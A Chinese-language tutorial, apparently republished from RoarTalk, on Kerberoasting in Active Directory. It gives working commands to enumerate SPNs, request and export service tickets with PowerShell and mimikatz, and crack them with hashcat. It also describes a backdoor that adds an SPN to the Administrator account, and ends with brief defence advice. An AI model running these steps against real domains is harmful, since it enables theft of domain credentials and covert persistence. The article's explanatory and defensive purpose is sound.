當前位置:
首頁 > 新聞 > 域滲透——Kerberoasting

域滲透——Kerberoasting

0x00 前言

Kerberoasting是域滲透中經常使用的一項技術,本文將參考公開的資料,結合自己的理解,詳細介紹Kerberoasting的原理和實現,以及一個後門利用的方法,最後給出防禦建議。

參考資料:

http://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/

http://www.harmj0y.net/blog/redteaming/from-kekeo-to-rubeus/

https://malicious.link/post/2016/kerberoast-pt1/

https://malicious.link/post/2016/kerberoast-pt2/

https://malicious.link/post/2016/kerberoast-pt3/

https://adsecurity.org/?p=3458

https://adsecurity.org/?page_id=183

https://blog.netspi.com/faster-domain-escalation-using-ldap/

https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx

0x01 簡介

本文將要介紹以下內容:

·Kerberoasting相關概念。

·Kerberoasting的原理。

·Kerberoasting的實現。

·Kerberoasting的後門利用。

·Kerberoasting的防禦。

0x02 基本概念

SPN

官方文檔:

https://docs.microsoft.com/en-us/windows/desktop/AD/service-principal-names

全稱Service Principal Names。

SPN是伺服器上所運行服務的唯一標識,每個使用Kerberos的服務都需要一個SPN。

SPN分為兩種,一種註冊在AD上機器帳戶(Computers)下,另一種註冊在域用戶帳戶(Users)下。

當一個服務的許可權為Local System或Network Service,則SPN註冊在機器帳戶(Computers)下。

當一個服務的許可權為一個域用戶,則SPN註冊在域用戶帳戶(Users)下。

SPN的格式

serviceclass/host:port/servicename

說明:

·serviceclass可以理解為服務的名稱,常見的有www, ldap, SMTP, DNS, HOST等。

·host有兩種形式,FQDN和NetBIOS名,例如server01.test.com和server01。

·如果服務運行在默認埠上,則埠號(port)可以省略。

查詢SPN

對域控制器發起LDAP查詢,這是正常kerberos票據行為的一部分,因此查詢SPN的操作很難被檢測。

(1) 使用SetSPN

Win7和Windows Server2008自帶的工具。

查看當前域內的所有SPN:

setspn.exe -q */*

查看test域內的所有SPN:

setspn.exe -T test -q */*

輸出結果實例:

CN=DC1,OU=Domain Controllers,DC=test,DC=com

exchangeRFR/DC1

exchangeRFR/DC1.test.com

exchangeMDB/DC1.test.com

exchangeMDB/DC1

exchangeAB/DC1

exchangeAB/DC1.test.com

SMTP/DC1

SMTP/DC1.test.com

SmtpSvc/DC1

SmtpSvc/DC1.test.com

ldap/DC1.test.com/ForestDnsZones.test.com

ldap/DC1.test.com/DomainDnsZones.test.com

Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/DC1.test.com

DNS/DC1.test.com

GC/DC1.test.com/test.com

RestrictedKrbHost/DC1.test.com

RestrictedKrbHost/DC1

HOST/DC1/TEST

HOST/DC1.test.com/TEST

HOST/DC1

HOST/DC1.test.com

HOST/DC1.test.com/test.com

E3514235-4B06-11D1-AB04-00C04FC2DCD2/0f33253b-2314-40f0-b665-f4317b13e6b9/test.com

ldap/DC1/TEST

ldap/0f33253b-2314-40f0-b665-f4317b13e6b9._msdcs.test.com

ldap/DC1.test.com/TEST

ldap/DC1

ldap/DC1.test.com

ldap/DC1.test.com/test.com

CN=krbtgt,CN=Users,DC=test,DC=com

kadmin/changepw

CN=COMPUTER01,CN=Computers,DC=test,DC=com

RestrictedKrbHost/COMPUTER01

HOST/COMPUTER01

RestrictedKrbHost/COMPUTER01.test.com

HOST/COMPUTER01.test.com

CN=MSSQL Service Admin,CN=Users,DC=test,DC=com

MSSQLSvc/DC1.test.com

以CN開頭的每一行代表一個帳戶,其下的信息是與該帳戶相關聯的SPN。

對於上面的輸出數據,機器帳戶(Computers)為:

·CN=DC1,OU=Domain Controllers,DC=test,DC=com

·CN=COMPUTER01,CN=Computers,DC=test,DC=com

域用戶帳戶(Users)為:

·CN=krbtgt,CN=Users,DC=test,DC=com

·CN=MSSQL Service Admin,CN=Users,DC=test,DC=com

註冊在域用戶帳戶(Users)下的SPN有兩個:kadmin/changepw和MSSQLSvc/DC1.test.com。

0x03 Kerberoasting的原理

1、Kerberos認證過程

一個簡單的Kerberos認證過程如下圖。

1、as_request

2、as_reply

3、tgs_request

4、tgs_reply

5、ap_request

6、ap_reply

對於4.tgs_reply,用戶將會收到由目標服務實例的NTLM hash加密生成的TGS(service ticket),加密演算法為RC4-HMAC。

站在利用的角度,當獲得這個TGS後,我們可以嘗試窮舉口令,模擬加密過程,生成TGS進行比較。如果TGS相同,代表口令正確,就能獲得目標服務實例的明文口令。

2、Windows系統通過SPN查詢獲得服務和服務實例帳戶的對應關係

這裡舉一個例子:

用戶a要訪問MySQL服務的資源,進行到4.tgs_reply時,步驟如下:

(1)Domain Controller查詢MySQL服務的SPN

如果該SPN註冊在機器帳戶(Computers)下,將會查詢所有機器帳戶(Computers)的servicePrincipalName屬性,找到對應的帳戶。

如果該SPN註冊在域用戶帳戶(Users)下,將會查詢所有域用戶(Users)的servicePrincipalName屬性,找到對應的帳戶。

(2)找到對應的帳戶後,使用該帳戶的NTLM hash,生成TGS

3、域內的主機都能查詢SPN

4、域內的任何用戶都可以向域內的任何服務請求TGS

綜上,域內的任何一台主機,都能夠通過查詢SPN,向域內的所有服務請求TGS,拿到TGS後對其進行暴力破解。

對於破解出的明文口令,只有域用戶帳戶(Users)的口令存在價值,不必考慮機器帳戶的口令(無法用於遠程連接)。

因此,高效率的利用思路如下:

1、查詢SPN,找到有價值的SPN,需要滿足以下條件:

·該SPN註冊在域用戶帳戶(Users)下

·域用戶賬戶的許可權很高

2、請求TGS

3、導出TGS

4、暴力破解

0x04 Kerberoasting的實現方法一

1、獲得有價值的SPN

需要滿足以下條件:

·該SPN註冊在域用戶帳戶(Users)下

·域用戶賬戶的許可權很高

可以選擇以下三種方法:

(1)使用powershell模塊Active Directory

註:powershell模塊Active Directory 需要提前安裝,域控制器一般會安裝。

import-module ActiveDirectory

get-aduser -filter -prop * |select name,whencreated,pwdlastset,lastlogon

(2)使用PowerView

https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,lastlogon

(3)使用kerberoast

powershell:

https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.ps1

vbs:

https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.vbs

參數如下:

cscript GetUserSPNs.vbs

2、請求TGS

(1)請求指定TGS

$SPNName = "MSSQLSvc/DC1.test.com"

Add-Type -AssemblyNAme System.IdentityModel

New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName

(2)請求所有TGS

Add-Type -AssemblyName System.IdentityModel

setspn.exe -q */* | Select-String "^CN" -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

執行後輸入klist查看內存中的票據,可找到獲得的TGS。

3、導出

使用mimikatz

kerberos::list /export

4、破解

https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py

./tgsrepcrack.py wordlist.txt test.kirbi

0x05 Kerberoasting的實現方法二

自動實現,並且不需要mimikatz,普通用戶許可權即可,參考資料:

http://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/

代碼地址:

https://github.com/EmpireProject/Empire/commit/6ee7e036607a62b0192daed46d3711afc65c3921

使用System.IdentityModel.Tokens.KerberosRequestorSecurityToken請求TGS,在返回結果中提取出TGS,輸出的TGS可選擇John the Ripper或Hashcat進行破解。

實例演示:

在域內一台主機上以普通用戶許可權執行:

Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | fl

-AdminCount表示選擇高許可權的用戶。

輸出結果如下圖:

只提取出hash的參數如下:

Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation

輸出結果如下圖:

使用hashcat破解的參數如下:

hashcat -m 13100 /tmp/hash.txt /tmp/password.list -o found.txt --force

破解結果如下圖,成功獲得明文口令MySQLAdmin111!

註:Rubeus也可以實現Invoke-Kerberoast的功能,地址如下:

https://github.com/GhostPack/Rubeus

參數如下:

Rubeus.exe kerberoast

0x06 Kerberoasting的後門利用

在我們取得了SPN的修改許可權後,可以為指定的域用戶添加一個SPN,這樣可以隨時獲得該域用戶的TGS,經過破解後獲得明文口令。

例如為域用戶Administrator添加SPNVNC/DC1.test.com,參數如下:

setspn.exe -U -A VNC/DC1.test.com Administrator

如下圖:

在域內任意一台主機都能獲得該SPN,並且能夠使用Kerberoast獲得TGS,如下圖:

再使用hashcat破解即可。

補充:

刪除SPN的參數如下:

setspn.exe -D VNC/DC1.test.com Administrator

0x07 防禦

站在防禦的角度,不可能阻止kerberoast,但可以對有攻擊價值的SPN(註冊在域用戶帳戶下,許可權高),增加密碼長度,能夠提高破解難度,並且定期修改關聯的域用戶口令。

管理員可在域內一台主機上使用Invoke-Kerberoast檢查是否存在危險的SPN。

下載地址:

https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

參數:

Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,lastlogon

0x08 小結

本文對Kerberoasting的原理、方法和防禦作了詳細介紹,並進行了實例演示。


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

HTTP安全標頭及其工作原理(下)
以索尼PSV為例,說說如何從F00D中提取密鑰?

TAG:嘶吼RoarTalk |